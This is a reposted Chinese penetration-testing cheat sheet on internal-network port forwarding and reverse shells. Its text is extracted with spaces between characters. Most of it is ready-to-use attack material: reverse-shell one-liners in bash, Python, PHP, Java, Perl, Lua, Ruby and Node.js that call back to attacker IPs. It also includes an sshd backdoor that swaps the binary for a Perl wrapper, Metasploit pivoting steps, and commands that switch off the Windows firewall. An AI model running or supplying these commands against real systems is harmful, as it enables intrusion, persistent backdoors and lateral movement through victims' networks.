搜索

[27187] 2021-03-08_内网小组端口转发全剧终

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2021-03-08_内网小组端口转发全剧终 内 网 小 组   |   端 口 转 发   全 剧 终 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 1 - 0 3 - 0 8 收 录 于 话 题   # 内 网 安 全 小 组   , 2 8 个 本 文 作 者 ： 掉 到 鱼 缸 里 的 猫 掉 到 鱼 缸 里 的 猫 （ M s 0 8 0 6 7 内 网 安 全 小 组 成 员 ） 文 章 来 源 ｜ 文 章 来 源 ｜ M S 0 8 0 6 7   内 网 安 全 知 识 内 网 安 全 知 识 星 球 星 球 内 网 纵 横 四 海 内 网 纵 横 四 海     认 准 认 准 M s 0 8 0 6 7 N e t C a t 方 法 一 ： 方 法 一 ： 靶 机 ： 攻 击 机 ： n c   - n v   靶 机 I P   靶 机 监 听 端 口 反 向 反 向 S h e l l ： ： 靶 机 ： 不 能 转 发 3 3 8 9 正 向 正 向 s h e l l 靶 机 ： 攻 击 机 ： n c   目 标 I P   端 口 l c x 服 务 端 ： l c x   - s l a v e   公 网 I P   公 网 端 口   本 地 I P   本 地 端 口 公 网 客 户 端 ： l c x   - l i s t e n   远 程 端 口   本 地 端 口 客 户 端 连 接 本 地 端 口 ， 对 应 于 连 接 远 程 端 口 先 启 动 l i s t e n ， 再 启 动 s l a v e r e G e o r g 服 务 端 ： 上 传 脚 本 到 W e b 目 录 ， 服 务 器 要 求 打 开   e n a b l e _ d l   功 能 同 时 安 装   p h p _ s o c k e t s 扩 展 客 户 端 ： 使 用 P r o x i f i e r 将 需 要 的 流 量 引 入 本 地 端 口 s o c k 5 模 式 模 式 有 脚 本 可 以 指 定 不 使 用 s o c k 5 协 议 T u n n a 使 用 P r o x i f i e r 将 需 要 的 流 量 引 入 本 地 端 口 s o c k 5 模 式 模 式 使 用   - n   参 数 关 闭 s o c k 协 议 m k f i f o   / t m p / f i f o   c a t   / t m p / f i f o |   n c   想 要 转 发 的 目 标   想 要 转 发 到 的 端 口   |   n c   - l p   监 听 端 口 >   / t m p / f i f 方 法 一 ： n c   - t   - e   c m d . e x e   攻 击 机 I P   攻 击 机 监 听 端 口 方 法 二 ： c a t   / t m p / f i f o   |   / b i n / b a s h   - i   2 > & 1   |   n c   目 标 I P   端 口   >   / t m p / f i f o 方 法 三 ： n c   - e   / b i n / s h   1 0 . 0 . 3 . 4   4 4 4 4   （ 后 期 的 n c 就 没 有 - e 的 选 项 了 ） 攻 击 机 （ 公 网 ） ： n c   - l v p   监 听 端 口 $   m k f i f o   / t m p / f i f o   $   c a t   / t m p / f i f o   |   / b i n / b a s h   - i   2 > & 1   |   n c   - l   本 地 端 口   >   / t m p / f i f o   1 2 r e G e o r g S o c k s P r o x y . p y   - p   本 地 端 口   - u   h t t p : / / 目 标 服 务 器 上 的 脚 本 靶 机 ： 上 传 脚 本 到 W e b 目 录 ， P H P 就 不 要 用 了 ， 及 其 不 稳 定 攻 击 机 ： p r o x y . p y   - u   h t t p : / / 脚 本 地 址   - l   本 地 端 口   - r   目 标 端 口 （ 服 务 器 ）   - v
这 个 F a l s e 问 题 不 大 不 能 用 l i n u x 的 r d e s k t o p 连 接 ， 要 用 W i n d o w s 的 远 程 桌 面 连 接 这 种 情 况 问 题 也 不 大 点 击 是 之 前 再 运 行 一 次 脚 本 就 行 r e D u h 服 务 端 ： 上 传 脚 本 到 W e b 目 录 客 户 端 ： j a v a   - j a r   r e D u h C l i e n t . j a r   h t t p : / / 脚 本 位 置   进 行 连 接 本 地 连 接 j a v a 返 回 的 本 地 端 口   n c   - v v   l o c a l h o s t   本 地 端 口 在 命 令 提 示 符 中 输 入   [ c r e a t e T u n n e l ] 本 地 空 闲 端 口 ： 目 标 地 址 （ 想 要 访 问 的 目 标 内 网 地 址 ） ： 目   标 端 口 h t r a n 服 务 器 （ 目 标 主 机 ） ： h t r a n   - s l a v e   跳 板 I P   跳 板 p o r t   本 地 i p   本 地 端 口 跳 板 机 ： h t r a n   - t r a n   跳 板 p o r t   公 网 I P   公 网 端 口 客 户 端 （ 公 网 主 机 ） ： h t r a n   - l i s t e n   公 网 监 听 端 口   流 量 接 收 端 口 s o c a t 靶 机 ： s o c a t   e x e c : ' b a s h   - l i ' , p t y , s t d e r r , s e t s i d , s i g i n t , s a n e   t c p : 公 网 I P : 公 网 端 口 攻 击 机 ： s o c a t   T C P - L I S T E N : 端 口   -   ， n c 监 听 也 行 S S H 穿 透 两 个 网 络 公 网 跳 板 A ： 跳 板 A 在 B 和 C 的 两 个 内 网 中 间 本 地 流 量 转 发 本 地 流 量 转 发 打 开 s s h d 的 G a t e w a y 功 能 ： 修 改 / e t c / s s h / s s h d _ c o n f i g ， 将   G a t e w a y P o r t s   设 置 为 y e s 内 网 1 中 的 B ： s s h   - p   2 2   - q n g f N T R   A 监 听 端 : l o c a l h o s t : 2 2   A 用 户 @ A 地 址 内 网 2 中 的 C ： s s h   - p   A 监 听 的 端 口   B 用 户 @ A 地 址 # V P S s s h   - C f N g   - L   V P S 端 口 : 目 标 主 机 : 目 标 端 口 跳 板 机 用 户 @ 跳 板 机 I P # 攻 击 端 流 量 到 V P S 端 口 ， 被 转 发
为 什 么 说 是 “ 本 地 ” （ 单 纯 的 - L 选 项 ） ： 本 地 端 口 转 发 绑 定 的 是   l o o k b a c k   接 口 ， 这 意 味 着 只 有 l o c a l h o s t   或 者   1 2 7 . 0 . 0 . 1   才 能 使 用 本 机 的 端 口 转 发   ,   其 他 机 器 发 起 的 连 接 只 会 得 到 “   c o n n e c t i o n   r e f u s e d .   ” 但 是 可 以 利 用 G a t e w a y P o r t s （ - g ） 关 键 字 来 与 其 他 机 器 共 享 这 个 本 地 转 发 端 口 。 远 程 转 发 远 程 转 发 动 态 转 发 动 态 转 发 两 层 两 层 s s h N P S E a r t h w o r m ( E W ) E W   是 一 套 便 携 式 的 网 络 穿 透 工 具 ， 具 有   S O C K S   v 5 服 务 架 设 和 端 口 转 发 两 大 核 心 功 能 ， 可 在 复 杂 网 络 环 境 下 完 成 网 络 穿 透 。 i o x 具 有 流 量 加 密 友 好 的 命 令 行 参 数 逻 辑 优 化 U D P 流 量 转 发 h t t p s : / / g i t h u b . c o m / E d d i e I v a n 0 1 / i o x n g r o k 各 种 系 统 都 支 持 ， 支 持 内 网 穿 透 利 用 利 用 I I S 端 口 共 享 功 能 端 口 共 享 功 能 … … 说 实 话 ， 没 来 得 及 尝 试 ， 单 看 文 档 没 看 懂 利 用 利 用 I I S 的 端 口 共 享 功 能 绕 过 防 火 墙 的 端 口 共 享 功 能 绕 过 防 火 墙 反 弹 反 弹 s h e l l N C / T e l e n t t e l n e t   可 以 换 成 可 以 换 成   n c 方 法 一 ： 方 法 一 ： 成 功 后 没 有 提 示 ， 尝 试 命 令 即 可 方 法 二 ： 方 法 二 ： 方 法 三 ： 方 法 三 ： 方 法 四 ： 方 法 四 ： # 攻 击 端 流 量 到 V P S 端 口 ， 被 转 发 # 跳 板 主 机 s s h   - C f N g   - R   V P S 端 口 : 目 标 主 机 : 目 标 端 口 V P S 用 户 @ V P S 的 I P # 攻 击 端 流 量 到 V P S 端 口 ， 被 转 发 s s h   - C f N g   - D   本 地 代 理 端 口   V P S 用 户 @ V P S I P # 流 量 转 发 到 V P S # S e r v e r 2 s s h   - C f N g   - D   8 8 8 2   U s e r _ S e r v e r 3 @ S e r v e r 3 # S e r v e r 1 s s h   - C f N g   - L   8 0 8 0 : S e r v e r 2 : 8 8 8 2 U s e r _ S e r v e r 2 @ S e r v e r 2 客 户 端 s o c k s 5 代 理 S e r v e r 1 : 8 0 8 0 攻 击 机 n c 监 听 ： n c   - l p   空 闲 端 口 服 务 端 （ 靶 机 ） ： m k n o d   a   p ; t e l n e t   攻 击 机 I P   攻 击 机 端 口   0 < a   |   / b i n / b a s h   1 > a m k n o d 命 令 中 ， a 表 示 这 个 管 道 的 名 ， p 表 示 这 个 管 道 为 F I F O （ 先 进 先 出 ） 和 m k f i f o 一 样 ， 就 是 后 面 m k f i f o / t m p / b a c k p i p e 1 这 种 攻 击 机 ： n c - l p   6 6 6 6 , n c - l p   5 5 5 5 ， 在 监 听 的 6 6 6 6 的 n c 上 输 入 命 令 ， 在 5 5 5 5 的 n c 上 看 返 回 的 消 息 靶 机 ： t e l n e t   攻 击 机   I P   6 6 6 6 |   / b i n / b a s h   |   t e l n e t   攻 击 机   I P   5 5 5 5 靶 机 执 行 ： n e t c a t   - l v p   5 5 5 5   - e   / b i n / s h   攻 击 机 执 行 ： n c   靶 机 I P   靶 机 端 口 攻 击 机 执 行 ： n c - l v v p   5 5 5 5
方 法 五 ： 方 法 五 ： 并 不 是 所 有 的 N C 都 有 - e 选 项 … … 有 些 设 备 可 能 / b i n 下 面 没 有 n c ， 但 是 b u s y b o x 可 以 啊 b a s h   反 弹 反 弹 s h e l l 加 密 流 量 参 看 权 限 维 持 笔 记 利 用 利 用 a w k 、 、 g a w k 1 .   攻 击 机 执 行 监 听 2 .   靶 机 执 行   P y t h o n   反 弹 反 弹 s h e l l 命 令 行 直 接 执 行   p y t h o n   - c   ' 代 码 ' p h p 反 弹 反 弹 s h e l l 命 令 行 执 行   p h p   - r   ' 代 码 ' j a v a 反 弹 反 弹 s h e l l P e r l 反 弹 反 弹 S h e l l 命 令 行 执 行   p e r l   - e   ‘ 代 码 ’ 攻 击 机 执 行 ： n c - l v v p   5 5 5 5 靶 机 执 行 ： n c   攻 击 机 I P   端 口   - t   - e   / b i n / b a s h m k f i f o   / t m p / b a c k p i p e 1   |   / b i n / s h 0 < / t m p / b a c k p i p e 1   |   n c 回 连 地 址 6 6 6 6   1   >   / t m p / b a c k p i p e 1 服 务 端 ： b a s h   - i   > &   / d e v / t c p / 公 网 I P / 公 网 端 口   0 > & 1                                                                                                                                     客 户 端 ： n c   - l v v p   端 口 a w k   ' B E G I N { s = " / i n e t / t c p / 0 / 1 9 2 . 1 6 8 . 1 . 1 2 8 / 8 0 8 0 " ; f o r ( ; s | & g e t l i n e   c ; c l o s e ( c ) ) w h i l e ( c | g e t l i n e ) p r i n t | & s ; c l o s e ( s ) } ' i m p o r t   s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ;   s . c o n n e c t ( ( " 公 网 I P " ， 目 标 端 口 ) ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ;   p = s u b p r o c e s s . c a l l ( [ " / b i n / s h " , " - i " ] ) ; e v a l ( _ _ i m p o r t _ _ ( ' o s ' ) . s y s t e m ( ' r m   / t m p / f ; m k f i f o   / t m p / f ; c a t   / t m p / f | / b i n / s h   - i   2 > & 1 | n c   1 0 . 1 0 . 1 5 . 5 5   2 3 3 3 3   > / t m p / f ' ) ) $ s o c k = f s o c k o p e n ( " 公 网 I P " , 端 口 ) ;   e x e c ( " / b i n / s h   - i   < & 3   > & 3   2 > & 3 " ) ; p u b l i c   c l a s s   R e v s   {   / * *   *   @ p a r a m   a r g s   *   @ t h r o w s   E x c e p t i o n   * / p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   {   / /   T O D O   A u t o - g e n e r a t e d   m e t h o d   s t u b   R u n t i m e   r   =   R u n t i m e . g e t R u n t i m e ( ) ;   S t r i n g   c m d [ ] =   { " / b i n / b a s h " , " - c " , " e x e c   5 < > / d e v / t c p / 1 9 2 . 1 6 8 . 3 . 2 5 1 / 8 0 8 0 ; c a t   < & 5   |   w h i l e   r e a d   l i n e ;   d o   $ l i n e   2 > & 5   > & 5 ;   d o n e " } ;   P r o c e s s   p   =   r . e x e c ( c m d ) ;   p . w a i t F o r ( ) ;   }   } p u b l i c   c l a s s   T e s t   {   p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   {     / /   T O D O   A u t o - g e n e r a t e d   m e t h o d   s t u b       R u n t i m e   r = R u n t i m e . g e t R u n t i m e ( ) ;     P r o c e s s   p = r . e x e c ( n e w   S t r i n g [ ] { " / b i n / b a s h " , " - c " , " b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 3 . 2 5 1 / 8 8 8 8   0 > & 1 " } ) ;       p . w a i t F o r ( ) ;       }   } u s e   S o c k e t ;   s o c k e t ( S , P F _ I N E T , S O C K _ S T R E A M , g e t p r o t o b y n a m e ( " t c p " ) ) ;   i f ( c o n n e c t ( S , s o c k a d d r _ i n ( 端 口 , i n e t _ a t o n ( " 公 网 I P " ) ) ) )   { o p e n ( S T D I N , " > & S " ) ;   o p e n ( S T D O U T , " > & S " ) ;   o p e n ( S T D E R R , " > & S " ) ;   e x e c ( " / b i n / s h   - i " ) ;   } ; p e r l   - M I O   - e   ' $ p = f o r k ;   e x i t , i f ( $ p ) ;   $ c = n e w   I O : : S o c k e t : : I N E T ( P e e r A d d r , " 1 . 1 . 1 . 1 : 8 0 8 0 " ) ;  
L u a R u b y N o d e . j s 利 用 利 用 s s h d 反 弹 反 弹 s h e l l 方 法 一 ： 方 法 一 ： 方 法 二 ： 方 法 二 ： 1 .   靶 机 执 行 ： 2 .   攻 击 机 执 行 ： M S F   反 弹 反 弹 s h e l l   一 一 句 话 句 话 m s f v e n o m   - l   p a y l o a d s   |   g r e p   " c m d / u n i x " | a w k   ' { p r i n t   $ 1 } ' x t e r m 下 反 弹 下 反 弹 靶 机 运 行   x t e r m   - d i s p l a y   目 标 地 址 : 1 接 收 方 运 行   x n e s t   : 1 M e t a s p l o i t 穿 透 双 层 网 络 穿 透 双 层 网 络 I O : : S o c k e t : : I N E T ( P e e r A d d r , " 1 . 1 . 1 . 1 : 8 0 8 0 " ) ;   S T D I N - > f d o p e n ( $ c , r ) ;   $ ~ - > f d o p e n ( $ c , w ) ; s y s t e m $ _   w h i l e < > ; ' l u a   - e   " r e q u i r e ( ' s o c k e t ' ) ; r e q u i r e ( ' o s ' ) ; t = s o c k e t . t c p ( ) ; t : c o n n e c t ( ' 1 9 2 . 1 6 8 . 3 . 2 5 1 ' , ' 8 0   8 0 ' ) ; o s . e x e c u t e ( ' / b i n / s h   - i   < & 3   > & 3   2 > & 3 ' ) ; " r u b y   - r s o c k e t   - e   ' e x i t   i f   f o r k ; c = T C P S o c k e t . n e w ( " 1 9 2 . 1 6 8 . 3 . 2 5 1 " , " 8 0 8 0 " ) ; w h i l e ( c m d = c . g e t s ) ; I O . p o p e n ( c m d , "   r " ) { | i o | c . p r i n t   i o . r e a d } e n d ' ( f u n c t i o n ( ) {   v a r   n e t   =   r e q u i r e ( " n e t " ) ,   c p   =   r e q u i r e ( " c h i l d _ p r o c e s s " ) ,   s h   =   c p . s p a w n ( " / b i n / s h " ,   [ ] ) ;   v a r   c l i e n t   =   n e w   n e t . S o c k e t ( ) ;   c l i e n t . c o n n e c t ( 8 0 8 0 ,   " 1 0 . 1 7 . 2 6 . 6 4 " ,   f u n c t i o n ( ) {   c l i e n t . p i p e ( s h . s t d i n ) ;   s h . s t d o u t . p i p e ( c l i e n t ) ;   s h . s t d e r r . p i p e ( c l i e n t ) ;   } ) ;   r e t u r n   / a / ;   } ) ( ) ; 1 .   靶 机 执 行 ： l n   - s f   / u s r / s b i n / s s h d   / t m p / s u ; / t m p / s u   - o P o r t = 8 0 8 0 ;   2 .   攻 击 机 执 行 ： s s h   r o o t @ 目 标   - p   设 置 的 端 口   需 要 密 码 c d   / u s r / s b i n /   m v   s s h d   . . / b i n /   e c h o   ' # ! / u s r / b i n / p e r l '   > s s h d   e c h o   ' e x e c   " / b i n / s h "   i f   ( g e t p e e r n a m e ( S T D I N )   = ~   / ^ . . 4 A / ) ; '   > > s s h d   e c h o   ' e x e c   { " / u s r / b i n / s s h d " }   " / u s r / s b i n / s s h d " , @ A R G V , '   > > s s h d   c h m o d   u + x   s s h d   / e t c / i n i t . d / s s h d   r e s t a r t s o c a t   S T D I O   T C P 4 : 1 9 2 . 1 6 8 . 1 . 1 2 9 : 2 2 , s o u r c e p o r t = 1 3 3 7 7
攻 击 机 通 过 两 层 跳 板 ， 对 1 9 2 . 1 6 8 . 1 2 . 0 / 2 4 网 络 进 行 扫 描 1 .   攻 击 机 获 得 双 网 卡 主 机 A 的 m e t e r p r e t e r 会 话 2 .   执 行 命 令 ， 创 建 路 由 规 则 ， 只 要 会 话 不 断 开 M e t a s p l o i t 框 架 就 可 以 访 问 1 9 2 . 1 6 8 . 1 1 . 0 / 2 4 网 段 3 .   配 置 流 量 转 发 代 理 4 .   在 p r o x y c h a i n s 配 置 文 件 中 添 加 s o c k 4 代 理 规 则 ， 即 可 通 过 p r o x y c h a i n s 实 现 流 量 转 发 5 .   实 现 端 口 转 发 6 . 获 取 双 网 卡 主 机 B 的 控 制 权 （ 使 用 b i n d T C P 的 p a y l o a d ， 因 为 反 向 s h e l l 无 法 路 由 到 攻 击 机 ） ， 获 取 到 m e t e r p r e t e r 会 话 之 后 添 加 路 由 规 则 7 .   再 次 配 置 流 量 转 发 代 理 （ 再 开 个 新 端 口 ） 8 .   修 改 p r o x y c h a i n s 配 置 文 件 ， 取 消 下 文 的 注 释 ， 添 加 新 的 s o c k s 4 代 理 利 用 系 统 自 带 功 能 利 用 系 统 自 带 功 能 W i n d o w s   双 网 卡 路 由 双 网 卡 路 由 双 网 卡 W i n d o w s 主 机 作 为 路 由 ： 1 . 通 过 注 册 表 允 许 网 卡 进 行 流 量 转 发 ：   修 改 以 下 注 册 表 项 目 为 1   2 .   开 启   R o u t i n g   a n d   R e m o t e   A c c e s s   服 务 3 .   两 侧 主 机 添 加 静 态 路 由 规 则 ， 路 由 指 向 双 网 卡 主 机 W i n d o w s   n e t s h 命 令 端 口 转 发 命 令 端 口 转 发 管 理 员 权 限 c m d 执 行   不 成 功 的 话 ， 先 关 闭 防 火 墙 查 看 端 口 映 射 配 置 ： n e t s h   i n t e r f a c e   p o r t p r o x y   s h o w   a l l 1 . 为 e : f . e x e   添 加 防 火 墙 规 则 ， 需 要 管 理 员 权 限 。 删 除 ２ 、 添 加 端 口 删 除 i p t a b l e s m e t e r p r e t e r >   r u n   a u t o r o u t e   - s   1 9 2 . 1 6 8 . 1 1 . 0 / 2 4 m e t e r p r e t e r >   b a c k g r o u n d   m s f >   u s e   a u x i l i a r y / s e r v e r / s o c k s 4 a   m s f   a u x i l i a r y ( s o c k s 4 a ) >   s e t   s r v h o s t   本 机 地 址   m s f   a u x i l i a r y ( s o c k s 4 a ) >   s e t   s r v p o r t   想 要 监 听 的 端 口   m s f   a u x i l i a r y ( s o c k s 4 a ) >   r u n m e t e r p r e t e r >   p o r t f w d   a d d   - L   本 地 地 址   - l   本 地 空 闲 端 口   - p   目 标 端 口   - r   目 标 地 址 m e t e r p r e t e r >   r u n   a u t o r o u t e   - s   1 9 2 . 1 6 8 . 1 2 . 0 / 2 4 m s f   a u x i l i a r y ( s o c k s 4 a )   >   s e t   S R V P O R T   空 闲 端 口 d y n a m i c _ c h a i n   p r o x y _ d n s   t c p _ r e a d _ t i m e _ o u t   1 5 0 0 0   t c p _ c o n n e c t _ t i m e _ o u t   8 0 0 0 H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t   S e r v i c e s T c p i p   P a r a m e t e r s   中 的   I P E n a b l e R o u t e r   n e t s h   i n t e r f a c e   p o r t p r o x y   a d d   v 4 t o v 4   l i s t e n a d d r e s s = 本 地 i P   l i s t e n p o r t = 本 地 端 口   c o n n e c t a d d r e s s = 转 发 目 标   c o n n e c t p o r t = 转 发 端 口   （   a d d   换 成   d e l e t e   就 是 删 除 啦 ~ ） n e t s h   f i r e w a l l   s e t   o p m o d e   d i s a b l e   或   n e t s h   a d v f i r e w a l l   s e t   a l l p r o f i l e s   s t a t e   o f f > n e t s h   a d v f i r e w a l l   f i r e w a l l   a d d   r u l e   n a m e = " f . e x e "   d i r = i n   p r o g r a m = " e : f . e x e "   a c t i o n = a l l o w n e t s h   a d v f i r e w a l l   f i r e w a l l   d e l e t e   r u l e   n a m e = " f . e x e " n e t s h   a d v f i r e w a l l   f i r e w a l l   a d d   r u l e   n a m e = " H T T P "   p r o t o c o l = T C P   d i r = i n   l o c a l p o r t = 8 0 8 0   a c t i o n = a l l o w n e t s h   a d v f i r e w a l l   f i r e w a l l   d e l e t e   r u l e   n a m e = " H T T P "   p r o t o c o l = T C P   d i r = i n   l o c a l p o r t = 8 0 8 0
P R E R O U T I N G ： ： 在 进 行 路 由 判 断 之 前 所 要 进 行 的 规 则 ( D N A T / R E D I R E C T ) （ 数 据 包 进 入 主 机 后 第 一 步 ） ， 决 定 目 标 地 址 目 标 地 址 的 改 变 与 否   +   上 下 路 的 判 定 （ 是 过 滤 型 防 火 墙 还 是 N A T 防 火 墙 ） 。 I N P U T : 处 理 入 站 的 数 据 包 O U T P U T : 处 理 出 站 的 数 据 包 F O R W A R D ： ： 是 否 允 许 被 防 火 墙 继 续 转 发   +   是 否 允 许 使 用 L i n u x 的 路 由 / 转 发 功 能 。 P O S T R O U T I N G ： ： 对 数 据 包 在 经 过 路 由 表 之 后 ， 最 后 一 个 处 理 步 骤 （ 数 据 包 流 出 主 机 前 最 后 的 步 骤 ） ， 决 定 数 据 包 是 否 需 要 改 变   源 地 址 源 地 址 。 两 条 链 重 要 功 能 在 于 修 改 I P ， 而 这 两 条 链 修 改 的 I P 又 是 不 一 样 的 ， P O S T R O U T I N G 在 修 改 来 源 I P ， P R E R O U T I N G 则 在 修 改 目 标 I P   。 由 于 修 改 的   I P   不 一 样 ， 所 以 就 称 为 来 源 N A T   ( S o u r c e   N A T ,   S N A T )   及 目 标   N A T   ( D e s t i n a t i o n   N A T ,   D N A T ) 。 只 用 P O S T R O U T I N G ： 从 请 求 侧 来 看 的 话 ， 只 修 改 源 I P 两 个 结 合 起 来 就 可 以 当 做 端 口 转 发 了 ： 参 考 参 考 常 见 端 口 转 发 工 具 的 使 用 方 式 浅 谈 内 网 端 口 转 发 L i n u x   i p t a b l e s 用 法 与 N A T 扫 描 二 维 码 学 习 各 类 安 全 技 术 ， 邀 请 进 入 内 部 微 信 群 ！ 扫 描 二 维 码 学 习 各 类 安 全 技 术 ， 邀 请 进 入 内 部 微 信 群 ！     目 前 目 前 3 6 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们 i p t a b l e s   – t   n a t   – A   P O S T R O U T I N G   – s   1 9 2 . 1 6 8 . 1 0 . 1 0   – o   e t h 1   – j   S N A T   - - t o - s o u r c e   1 1 1 . 1 9 6 . 2 2 1 . 2 1 2 i p t a b l e s   - t   n a t   - A   P R E R O U T I N G   - p   t c p   - - d p o r t   本 机 监 听 端 口   - j   D N A T   - - t o -   d e s t i n a t i o n   目 标 I P : 端 口   i p t a b l e s   - t   n a t   - A   P O S T R O U T I N G   - d   目 标 主 机   - j   S N A T   - - t o - s o u r c e   本 机 I P
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理